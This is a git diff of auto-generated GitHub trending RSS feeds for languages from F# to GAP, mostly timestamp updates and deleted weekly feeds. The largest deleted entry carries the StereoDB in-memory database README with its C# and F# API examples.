a/f%23/weekly/index.xml b/f%23/weekly/index.xml deleted file mode 100644 index 9ce066f04cf..00000000000 --- a/f%23/weekly/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - GitHub F# Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:06Z - Weekly Trending of F# in GitHub - - - StereoDB/StereoDB - 2023-09-24T01:50:06Z - tag:github.com,2023-09-24:/StereoDB/StereoDB - - <p>Ultrafast and lightweight in-process memory database written in F# that supports: transactions, secondary indexes, persistence, and data size larger than RAM.</p><hr><p align="center"> <img src="https://github.com/StereoDB/StereoDB/raw/dev/assets/stereo_db_logo.png" alt="StereoDB logo" width="600px"> </p> <p><a href="https://github.com/StereoDB/StereoDB/actions/workflows/build.yml"><img src="https://github.com/StereoDB/StereoDB/actions/workflows/build.yml/badge.svg?sanitize=true" alt="build"></a> <a href="https://www.nuget.org/packages/stereodb/"><img src="https://img.shields.io/nuget/v/stereodb.svg?sanitize=true" alt="NuGet"></a></p> <h4>StereoDB</h4> <p>Ultrafast and lightweight in-process memory database written in F# that supports: transactions, secondary indexes, persistence, and data size larger than RAM. The primary use case for this database is building Stateful Services (API or ETL Worker) that keep all data in memory and can provide millions of RPS from a single node.</p> <p>Supported features:</p> <ul> <li><input type="checkbox" checked disabled> C# and F# API</li> <li><input type="checkbox" checked disabled> Transactions (read-only, read-write)</li> <li><input type="checkbox" checked disabled> Secondary Indexes <ul> <li><input type="checkbox" checked disabled> Value Index (hash-based index)</li> <li><input type="checkbox" checked disabled> Range Scan Index</li> </ul> </li> <li><input type="checkbox" disabled> Data size larger than RAM</li> <li><input type="checkbox" disabled> Data persistence</li> <li><input type="checkbox" disabled> Distributed mode <ul> <li><input type="checkbox" disabled> Server and client discovery</li> <li><input type="checkbox" disabled> Range-based sharding</li> </ul> </li> </ul> <h4>Intro to Stateful Services</h4> <p align="center"> <img src="https://github.com/StereoDB/StereoDB/raw/dev/assets/architecture.png" alt="StereoDB logo" width="600px"> </p> <h4>Benchmarks</h4> <p>Pure KV workload benchmark (in-process only, without persistence). In <a href="https://github.com/StereoDB/StereoDB/raw/dev/benchmarks/StereoDB.Benchmarks/Benchmarks/StereoDbBenchmark.cs">this benchmark</a>, <strong>we run concurrently 3 million random reads and 100K random writes in 892 ms</strong>.</p> <pre><code>BenchmarkDotNet=v0.13.5, OS=Windows 11 (10.0.22621.2134/22H2/2022Update/SunValley2) AMD Ryzen 7 5800H with Radeon Graphics, 1 CPU, 16 logical and 8 physical cores .NET SDK=7.0.400 [Host] : .NET 7.0.10 (7.0.1023.36312), X64 RyuJIT AVX2 DefaultJob : .NET 7.0.10 (7.0.1023.36312), X64 RyuJIT AVX2 | Method | ReadThreadCount | WriteThreadCount | UsersCount | DbReadCount | DbWriteCount | Mean | Error | StdDev | Allocated | |---------- |---------------- |----------------- |----------- |------------ |------------- |---------:|---------:|---------:|----------:| | ReadWrite | 30 | 30 | 4000000 | 3000000 | 100000 | 891.9 ms | 17.75 ms | 35.86 ms | 13.12 KB | </code></pre> <h4>C# API</h4> <pre><code class="language-csharp">using System; using StereoDB; using StereoDB.CSharp; // defines a Book type that implements IEntity&lt;TId&gt; public record Book : IEntity&lt;int&gt; { public int Id { get; init; } public string Title { get; init; } public int Quantity { get; init; } } // defines an Order type that implements IEntity&lt;TId&gt; public record Order : IEntity&lt;Guid&gt; { public Guid Id { get; init; } public int BookId { get; init; } public int Quantity { get; init; } } public class BooksSchema { public ITable&lt;int, Book&gt; Table { get; init; } } public class OrdersSchema { public ITable&lt;Guid, Order&gt; Table { get; init; } public IValueIndex&lt;int, Order&gt; BookIdIndex { get; init; } } // defines a DB schema that includes Orders and Books tables // and a secondary index: 'BookIdIndex' for the Orders table public class Schema { public BooksSchema Books { get; } public OrdersSchema Orders { get; } public Schema() { Books = new BooksSchema { Table = StereoDbEngine.CreateTable&lt;int, Book&gt;() }; var ordersTable = StereoDbEngine.CreateTable&lt;Guid, Order&gt;(); Orders = new OrdersSchema() { Table = ordersTable, BookIdIndex = ordersTable.AddValueIndex(order =&gt; order.BookId) }; } } // defines a DB that implements IStereoDb&lt;Schema&gt; public class Db : IStereoDb&lt;Schema&gt; { private readonly StereoDbEngine&lt;Schema&gt; _engine = StereoDbEngine.Create(new Schema()); public T ReadTransaction&lt;T&gt;(Func&lt;ReadOnlyTsContext&lt;Schema&gt;, T&gt; transaction) =&gt; _engine.ReadTransaction(transaction); public T WriteTransaction&lt;T&gt;(Func&lt;ReadWriteTsContext&lt;Schema&gt;, T&gt; transaction) =&gt; _engine.WriteTransaction(transaction); public void WriteTransaction(Action&lt;ReadWriteTsContext&lt;Schema&gt;&gt; transaction) =&gt; _engine.WriteTransaction(transaction); } public static class Demo { public static void Run() { var db = new Db(); // 1) adds book // WriteTransaction: it's a read-write transaction: we can query and mutate data db.WriteTransaction(ctx =&gt; { var books = ctx.UseTable(ctx.Schema.Books.Table); foreach (var id in Enumerable.Range(0, 10)) { var book = new Book {Id = id, Title = $"book_{id}", Quantity = 1}; books.Set(book); } }); // 2) creates an order // WriteTransaction: it's a read-write transaction: we can query and mutate data db.WriteTransaction(ctx =&gt; { var books = ctx.UseTable(ctx.Schema.Books.Table); var orders = ctx.UseTable(ctx.Schema.Orders.Table); foreach (var id in books.GetIds()) { if (books.TryGet(id, out var book) &amp;&amp; book.Quantity &gt; 0) { var order = new Order {Id = Guid.NewGuid(), BookId = id, Quantity = 1}; var updatedBook = book with { Quantity = book.Quantity - 1 }; books.Set(updatedBook); orders.Set(order); } } }); // 3) query book and orders // ReadTransaction: it's a read-only transaction: we can query multiple tables at once var result = db.ReadTransaction(ctx =&gt; { var books = ctx.UseTable(ctx.Schema.Books.Table); var bookIdIndex = ctx.Schema.Orders.BookIdIndex; if (books.TryGet(1, out var book)) { var orders = bookIdIndex.Find(book.Id).ToArray(); return (book, orders); } return (null, null); }); } } </code></pre> <h4>F# API</h4> <p>F# API has some benefits over C# API, mainly in expressiveness and type safety:</p> <ul> <li><a href="https://learn.microsoft.com/en-us/dotnet/fsharp/language-reference/anonymous-records">Anonymous Records</a> - It provides in place schema definition. You don't need to define extra types for schema as you do with C#. Also, it helps you model efficient <strong>(zero-cost, since it supports <a href="https://learn.microsoft.com/en-us/dotnet/fsharp/language-reference/structs">structs</a>)</strong> and expressive - return result type.</li> <li><a href="https://learn.microsoft.com/en-us/dotnet/fsharp/language-reference/value-options">ValueOption&lt;'T&gt;</a> - It's used for StereoDB API to model emptiness in a type safe manner. Also, it's a <strong>zero-cost abstraction</strong> since it's struct.</li> <li><a href="https://learn.microsoft.com/en-us/dotnet/fsharp/language-reference/computation-expressions">Computation Expression</a> - It helps to express multiple if &amp; else checks on emptiness/null for ValueOption&lt;'T&gt;, into a single <strong>voption { }</strong> expression. To use <strong>voption { }</strong>, <a href="https://github.com/demystifyfp/FsToolkit.ErrorHandling">FsToolkit.ErrorHandling</a> should be installed. In the case of <strong>voption {}</strong>, it's also a <strong>zero-cost abstraction</strong>, the compiler generates optimized code without allocations.</li> </ul> <pre><code class="language-fsharp">open System open FsToolkit.ErrorHandling open StereoDB open StereoDB.FSharp // defines a Book type that implements IEntity&lt;TId&gt; type Book = { Id: int Title: string Quantity: int } with interface IEntity&lt;int&gt; with member this.Id = this.Id // defines an Order type that implements IEntity&lt;TId&gt; type Order = { Id: Guid BookId: int Quantity: int } with interface IEntity&lt;Guid&gt; with member this.Id = this.Id // defines a DB schema that includes Orders and Books tables // and a secondary index: 'BookIdIndex' for the Orders table type Schema() = let _books = {| Table = StereoDbEngine.CreateTable&lt;int, Book&gt;() |} let _ordersTable = StereoDbEngine.CreateTable&lt;Guid, Order&gt;() let _orders = {| Table = _ordersTable BookIdIndex = _ordersTable.AddValueIndex(fun order -&gt; order.BookId) |} member this.Books = _books member this.Orders = _orders // defines a DB that implements IStereoDb&lt;Schema&gt; type Db() = let _engine = StereoDbEngine(Schema()) interface IStereoDb&lt;Schema&gt; with member this.ReadTransaction(transaction) = _engine.ReadTransaction transaction member this.WriteTransaction(transaction) = _engine.WriteTransaction transaction member this.WriteTransaction&lt;'T&gt;(transaction) = _engine.WriteTransaction&lt;'T&gt;(transaction) static member Create() = Db() :&gt; IStereoDb&lt;Schema&gt; let test () = let db = Db.Create() // 1) adds book // WriteTransaction: it's a read-write transaction: we can query and mutate data db.WriteTransaction(fun ctx -&gt; let books = ctx.UseTable(ctx.Schema.Books.Table) let bookId = 1 let book = { Id = bookId; Title = "book_1"; Quantity = 1 } books.Set book ) // 2) creates an order // WriteTransaction: it's a read-write transaction: we can query and mutate data db.WriteTransaction(fun ctx -&gt; let books = ctx.UseTable(ctx.Schema.Books.Table) let orders = ctx.UseTable(ctx.Schema.Orders.Table) voption { let bookId = 1 let! book = books.Get bookId if book.Quantity &gt; 0 then let order = { Id = Guid.NewGuid(); BookId = bookId; Quantity = 1 } let updatedBook = { book with Quantity = book.Quantity - 1 } books.Set updatedBook orders.Set order } |&gt; ignore ) // 3) query book and orders // ReadTransaction: it's a read-only transaction: we can query multiple tables at once let result = db.ReadTransaction(fun ctx -&gt; let books = ctx.UseTable(ctx.Schema.Books.Table) let bookIdIndex = ctx.Schema.Orders.BookIdIndex voption { let bookId = 1 let! book = books.Get 1 let orders = book.Id |&gt; bookIdIndex.Find |&gt; Seq.toArray return struct {| Book = book; Orders = orders |} } ) </code></pre> <h4>Transactions</h4> <p>StereoDB transactions allow the execution of a group of commands in a single step. StereoDB provides Read-Only and Read-Write transactions.</p> <ul> <li>Read-Only allows you only read data. <strong>Also, they are multithreaded.</strong></li> <li>Read-Write allows you read and write data. <strong>They are running in a single-thread fashion.</strong></li> </ul> <p>What to expect from transactions in StereoDB:</p> <ul> <li>they are blazingly fast and cheap to execute.</li> <li>they guarantee you atomic and consistent updates (you can update several tables including secondary indexes in one transaction and no other concurrent transaction will read your data partially; the transaction cannot be observed to be in progress by another database client).</li> <li>they don't support rollback since supporting rollbacks would have a significant impact on the simplicity and performance of StereoDB.</li> </ul> <p>In terms of ACID, StereoDB provides: TBD</p> <h5>How to deal without rollbacks?</h5> <ul> <li>we suggest to use only immutable data types to model your data. In C#/F# you can use records/structs to achieve this. Immutable data types allow you to ignore partial failures while updating any data record in memory.</li> <li>run all necessary validation before updating data in tables. Mutating your database should be the latest transaction step after all necessary validations are passed.</li> </ul> <pre><code class="language-csharp">// it's an example of WriteTransaction db.WriteTransaction(ctx =&gt; { var books = ctx.UseTable(ctx.Schema.Books.Table); // read record var bookId = 42; if (books.TryGet(bookId, out var book) &amp;&amp; book.Quantity &gt; 0) { // update record (it's immutable type, so the book instance wasn't mutated) var updatedBook = book with { Quantity = book.Quantity - 1 }; // and only after this you can safely mutate you state in database books.Set(updatedBook); } }); </code></pre> <h4>Secondary indexes</h4> <p>TBD</p> <h4>Best practices</h4> <p>TBD</p> <!-- - closures (allocation) - use immutable types - secondary index IEnumerable convert to array for response - GC settings - Serializations, HTTP 2 --> - - - mathias-brandewinder/Kaggle-Digit-Recognizer - 2023-09-24T01:50:06Z - tag:github.com,2023-09-24:/mathias-brandewinder/Kaggle-Digit-Recognizer - - <p></p><hr> - - \ No newline at end of file diff --git a/f*/daily/index.xml b/f*/daily/index.xml index 0ae3c39fb4f..c56cca5ca12 100644 --- a/f*/daily/index.xml +++ b/f*/daily/index.xml @@ -1,7 +1,7 @@ GitHub F* Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:30:30Z + 2023-09-25T01:29:21Z Daily Trending of F* in GitHub \ No newline at end of file diff --git a/f*/weekly/index.xml b/f*/weekly/index.xml deleted file mode 100644 index a117c7ce571..00000000000 --- a/f*/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub F* Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:11Z - Weekly Trending of F* in GitHub - - \ No newline at end of file diff --git a/factor/daily/index.xml b/factor/daily/index.xml index d090d72a0e7..0c89f6cbd05 100644 --- a/factor/daily/index.xml +++ b/factor/daily/index.xml @@ -1,7 +1,7 @@ GitHub Factor Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:30:33Z + 2023-09-25T01:29:22Z Daily Trending of Factor in GitHub \ No newline at end of file diff --git a/factor/weekly/index.xml b/factor/weekly/index.xml deleted file mode 100644 index 3a6410ea89a..00000000000 --- a/factor/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Factor Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:10Z - Weekly Trending of Factor in GitHub - - \ No newline at end of file diff --git a/fancy/daily/index.xml b/fancy/daily/index.xml index 78216c31546..22f1763c54b 100644 --- a/fancy/daily/index.xml +++ b/fancy/daily/index.xml @@ -1,7 +1,7 @@ GitHub Fancy Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:30:32Z + 2023-09-25T01:29:20Z Daily Trending of Fancy in GitHub \ No newline at end of file diff --git a/fancy/weekly/index.xml b/fancy/weekly/index.xml deleted file mode 100644 index ea41d3b718d..00000000000 --- a/fancy/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Fancy Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:08Z - Weekly Trending of Fancy in GitHub - - \ No newline at end of file diff --git a/fantom/daily/index.xml b/fantom/daily/index.xml index 73c957cf18b..8cb35182c5b 100644 --- a/fantom/daily/index.xml +++ b/fantom/daily/index.xml @@ -1,7 +1,7 @@ GitHub Fantom Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:30:31Z + 2023-09-25T01:29:19Z Daily Trending of Fantom in GitHub \ No newline at end of file diff --git a/fantom/weekly/index.xml b/fantom/weekly/index.xml deleted file mode 100644 index 4c4715da6eb..00000000000 --- a/fantom/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Fantom Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:09Z - Weekly Trending of Fantom in GitHub - - \ No newline at end of file diff --git a/faust/daily/index.xml b/faust/daily/index.xml index ef1ce4bef2e..b4f43975f13 100644 --- a/faust/daily/index.xml +++ b/faust/daily/index.xml @@ -1,7 +1,7 @@ GitHub Faust Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:30:36Z + 2023-09-25T01:29:25Z Daily Trending of Faust in GitHub \ No newline at end of file diff --git a/faust/weekly/index.xml b/faust/weekly/index.xml deleted file mode 100644 index 1c9b8e02ae9..00000000000 --- a/faust/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Faust Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:15Z - Weekly Trending of Faust in GitHub - - \ No newline at end of file diff --git a/fennel/daily/index.xml b/fennel/daily/index.xml index 41d35cf7217..4f4d44d9637 100644 --- a/fennel/daily/index.xml +++ b/fennel/daily/index.xml @@ -1,7 +1,7 @@ GitHub Fennel Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:30:35Z + 2023-09-25T01:29:26Z Daily Trending of Fennel in GitHub \ No newline at end of file diff --git a/fennel/weekly/index.xml b/fennel/weekly/index.xml deleted file mode 100644 index d7f269a7265..00000000000 --- a/fennel/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Fennel Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:13Z - Weekly Trending of Fennel in GitHub - - \ No newline at end of file diff --git a/figlet-font/daily/index.xml b/figlet-font/daily/index.xml index f561ec21e50..0a0dff39ca5 100644 --- a/figlet-font/daily/index.xml +++ b/figlet-font/daily/index.xml @@ -1,7 +1,7 @@ GitHub FIGlet Font Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:30:34Z + 2023-09-25T01:29:24Z Daily Trending of FIGlet Font in GitHub \ No newline at end of file diff --git a/figlet-font/weekly/index.xml b/figlet-font/weekly/index.xml deleted file mode 100644 index 23ada848747..00000000000 --- a/figlet-font/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub FIGlet Font Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:12Z - Weekly Trending of FIGlet Font in GitHub - - \ No newline at end of file diff --git a/filebench-wml/daily/index.xml b/filebench-wml/daily/index.xml index f3c02bda92b..db3ae7e8765 100644 --- a/filebench-wml/daily/index.xml +++ b/filebench-wml/daily/index.xml @@ -1,7 +1,7 @@ GitHub Filebench WML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:30:37Z + 2023-09-25T01:29:23Z Daily Trending of Filebench WML in GitHub \ No newline at end of file diff --git a/filebench-wml/weekly/index.xml b/filebench-wml/weekly/index.xml deleted file mode 100644 index 38557caed68..00000000000 --- a/filebench-wml/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Filebench WML Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:14Z - Weekly Trending of Filebench WML in GitHub - - \ No newline at end of file diff --git a/filterscript/daily/index.xml b/filterscript/daily/index.xml index 0f45814d697..e3ed73c3fb2 100644 --- a/filterscript/daily/index.xml +++ b/filterscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub Filterscript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:30:38Z + 2023-09-25T01:29:29Z Daily Trending of Filterscript in GitHub \ No newline at end of file diff --git a/filterscript/weekly/index.xml b/filterscript/weekly/index.xml deleted file mode 100644 index 51a0c6c3b45..00000000000 --- a/filterscript/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Filterscript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:17Z - Weekly Trending of Filterscript in GitHub - - \ No newline at end of file diff --git a/fish/daily/index.xml b/fish/daily/index.xml index 7fdf1a082af..b2d9bd2e263 100644 --- a/fish/daily/index.xml +++ b/fish/daily/index.xml @@ -1,7 +1,7 @@ GitHub fish Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:30:40Z + 2023-09-25T01:29:27Z Daily Trending of fish in GitHub \ No newline at end of file diff --git a/fish/weekly/index.xml b/fish/weekly/index.xml deleted file mode 100644 index 4c4142f3f35..00000000000 --- a/fish/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub fish Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:16Z - Weekly Trending of fish in GitHub - - \ No newline at end of file diff --git a/fluent/daily/index.xml b/fluent/daily/index.xml index 9dde4fe94f0..f15c78edcc6 100644 --- a/fluent/daily/index.xml +++ b/fluent/daily/index.xml @@ -1,7 +1,7 @@ GitHub Fluent Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:30:39Z + 2023-09-25T01:29:30Z Daily Trending of Fluent in GitHub \ No newline at end of file diff --git a/fluent/weekly/index.xml b/fluent/weekly/index.xml deleted file mode 100644 index 568a21434da..00000000000 --- a/fluent/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Fluent Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:17Z - Weekly Trending of Fluent in GitHub - - \ No newline at end of file diff --git a/flux/daily/index.xml b/flux/daily/index.xml index 64a26cc4fd2..954c4d622af 100644 --- a/flux/daily/index.xml +++ b/flux/daily/index.xml @@ -1,7 +1,7 @@ GitHub FLUX Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:30:41Z + 2023-09-25T01:29:28Z Daily Trending of FLUX in GitHub \ No newline at end of file diff --git a/flux/weekly/index.xml b/flux/weekly/index.xml deleted file mode 100644 index 6fb4de5aced..00000000000 --- a/flux/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub FLUX Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:18Z - Weekly Trending of FLUX in GitHub - - \ No newline at end of file diff --git a/formatted/daily/index.xml b/formatted/daily/index.xml index 2fe9e4f024a..19de636bb3a 100644 --- a/formatted/daily/index.xml +++ b/formatted/daily/index.xml @@ -1,7 +1,7 @@ GitHub Formatted Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:30:42Z + 2023-09-25T01:29:32Z Daily Trending of Formatted in GitHub \ No newline at end of file diff --git a/formatted/weekly/index.xml b/formatted/weekly/index.xml deleted file mode 100644 index fa95d8de1f2..00000000000 --- a/formatted/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Formatted Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:20Z - Weekly Trending of Formatted in GitHub - - \ No newline at end of file diff --git a/forth/daily/index.xml b/forth/daily/index.xml index ea6f503a0bb..29aea2bd719 100644 --- a/forth/daily/index.xml +++ b/forth/daily/index.xml @@ -1,7 +1,7 @@ GitHub Forth Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:30:43Z + 2023-09-25T01:29:33Z Daily Trending of Forth in GitHub \ No newline at end of file diff --git a/forth/weekly/index.xml b/forth/weekly/index.xml deleted file mode 100644 index b902bc3f67c..00000000000 --- a/forth/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Forth Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:21Z - Weekly Trending of Forth in GitHub - - \ No newline at end of file diff --git a/fortran-free-form/daily/index.xml b/fortran-free-form/daily/index.xml index 8f196ba8762..c8ce114c80f 100644 --- a/fortran-free-form/daily/index.xml +++ b/fortran-free-form/daily/index.xml @@ -1,7 +1,7 @@ GitHub Fortran Free Form Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:30:44Z + 2023-09-25T01:29:34Z Daily Trending of Fortran Free Form in GitHub \ No newline at end of file diff --git a/fortran-free-form/weekly/index.xml b/fortran-free-form/weekly/index.xml deleted file mode 100644 index 7d40c9458fc..00000000000 --- a/fortran-free-form/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Fortran Free Form Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:20Z - Weekly Trending of Fortran Free Form in GitHub - - \ No newline at end of file diff --git a/fortran/daily/index.xml b/fortran/daily/index.xml index dc33faa0974..6cd0455e5ca 100644 --- a/fortran/daily/index.xml +++ b/fortran/daily/index.xml @@ -1,7 +1,7 @@ GitHub Fortran Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:30:47Z + 2023-09-25T01:29:37Z Daily Trending of Fortran in GitHub \ No newline at end of file diff --git a/fortran/weekly/index.xml b/fortran/weekly/index.xml deleted file mode 100644 index e9fec2e29f4..00000000000 --- a/fortran/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub Fortran Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:24Z - Weekly Trending of Fortran in GitHub - - - hwangjt/MBI - 2023-09-24T01:50:24Z - tag:github.com,2023-09-24:/hwangjt/MBI - - <p></p><hr> - - \ No newline at end of file diff --git a/freebasic/daily/index.xml b/freebasic/daily/index.xml index d9c10d46454..ff3bfde7b97 100644 --- a/freebasic/daily/index.xml +++ b/freebasic/daily/index.xml @@ -1,7 +1,7 @@ GitHub FreeBasic Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:30:50Z + 2023-09-25T01:29:38Z Daily Trending of FreeBasic in GitHub \ No newline at end of file diff --git a/freebasic/weekly/index.xml b/freebasic/weekly/index.xml deleted file mode 100644 index c0c7546a3bc..00000000000 --- a/freebasic/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub FreeBasic Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:27Z - Weekly Trending of FreeBasic in GitHub - - \ No newline at end of file diff --git a/freemarker/daily/index.xml b/freemarker/daily/index.xml index 94586185e6b..43db426d3a0 100644 --- a/freemarker/daily/index.xml +++ b/freemarker/daily/index.xml @@ -1,7 +1,7 @@ GitHub FreeMarker Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:30:49Z + 2023-09-25T01:29:39Z Daily Trending of FreeMarker in GitHub \ No newline at end of file diff --git a/freemarker/weekly/index.xml b/freemarker/weekly/index.xml deleted file mode 100644 index 4e5395742d8..00000000000 --- a/freemarker/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub FreeMarker Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:26Z - Weekly Trending of FreeMarker in GitHub - - \ No newline at end of file diff --git a/frege/daily/index.xml b/frege/daily/index.xml index 8bff6683173..8b0df755d5a 100644 --- a/frege/daily/index.xml +++ b/frege/daily/index.xml @@ -1,7 +1,7 @@ GitHub Frege Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:30:48Z + 2023-09-25T01:29:41Z Daily Trending of Frege in GitHub \ No newline at end of file diff --git a/frege/weekly/index.xml b/frege/weekly/index.xml deleted file mode 100644 index 17fbc67e0b4..00000000000 --- a/frege/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Frege Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:28Z - Weekly Trending of Frege in GitHub - - \ No newline at end of file diff --git a/futhark/daily/index.xml b/futhark/daily/index.xml index 339419d912c..78275b42122 100644 --- a/futhark/daily/index.xml +++ b/futhark/daily/index.xml @@ -1,7 +1,7 @@ GitHub Futhark Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:30:50Z + 2023-09-25T01:29:40Z Daily Trending of Futhark in GitHub \ No newline at end of file diff --git a/futhark/weekly/index.xml b/futhark/weekly/index.xml deleted file mode 100644 index 06abf8338cb..00000000000 --- a/futhark/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Futhark Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:25Z - Weekly Trending of Futhark in GitHub - - \ No newline at end of file diff --git a/g-code/daily/index.xml b/g-code/daily/index.xml index 400544edc7d..34e9d93240c 100644 --- a/g-code/daily/index.xml +++ b/g-code/daily/index.xml @@ -1,7 +1,7 @@ GitHub G-code Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:30:53Z + 2023-09-25T01:29:44Z Daily Trending of G-code in GitHub \ No newline at end of file diff --git a/g-code/weekly/index.xml b/g-code/weekly/index.xml deleted file mode 100644 index a856cbd2c94..00000000000 --- a/g-code/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub G-code Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:30Z - Weekly Trending of G-code in GitHub - - \ No newline at end of file diff --git a/game-maker-language/daily/index.xml b/game-maker-language/daily/index.xml index 48dd758f7b4..ce4d4839791 100644 --- a/game-maker-language/daily/index.xml +++ b/game-maker-language/daily/index.xml @@ -1,7 +1,7 @@ GitHub Game Maker Language Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:30:52Z + 2023-09-25T01:29:45Z Daily Trending of Game Maker Language in GitHub \ No newline at end of file diff --git a/game-maker-language/weekly/index.xml b/game-maker-language/weekly/index.xml deleted file mode 100644 index 70b0ead1a23..00000000000 --- a/game-maker-language/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Game Maker Language Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:32Z - Weekly Trending of Game Maker Language in GitHub - - \ No newline at end of file diff --git a/gaml/daily/index.xml b/gaml/daily/index.xml index 02883193bd6..40f6a299fe2 100644 --- a/gaml/daily/index.xml +++ b/gaml/daily/index.xml @@ -1,7 +1,7 @@ GitHub GAML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:30:53Z + 2023-09-25T01:29:43Z Daily Trending of GAML in GitHub \ No newline at end of file diff --git a/gaml/weekly/index.xml b/gaml/weekly/index.xml deleted file mode 100644 index 3f93d0ff7ec..00000000000 --- a/gaml/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub GAML Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:29Z - Weekly Trending of GAML in GitHub - - \ No newline at end of file diff --git a/gams/daily/index.xml b/gams/daily/index.xml index d5415538786..cdc5073df24 100644 --- a/gams/daily/index.xml +++ b/gams/daily/index.xml @@ -1,7 +1,7 @@ GitHub GAMS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:30:54Z + 2023-09-25T01:29:42Z Daily Trending of GAMS in GitHub \ No newline at end of file diff --git a/gams/weekly/index.xml b/gams/weekly/index.xml deleted file mode 100644 index 5a68ab4f81d..00000000000 --- a/gams/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub GAMS Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:31Z - Weekly Trending of GAMS in GitHub - - \ No newline at end of file diff --git a/gap/daily/index.xml b/gap/daily/index.xml index 7bb52740a08..a1803a12a3b 100644 --- a/gap/daily/index.xml +++ b/gap/daily/index.xml @@ -1,7 +1,7 @@ GitHub GAP Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:30:56Z + 2023-09-25T01:29:47Z Daily Trending of GAP in GitHub \ No newline at end of file diff --git 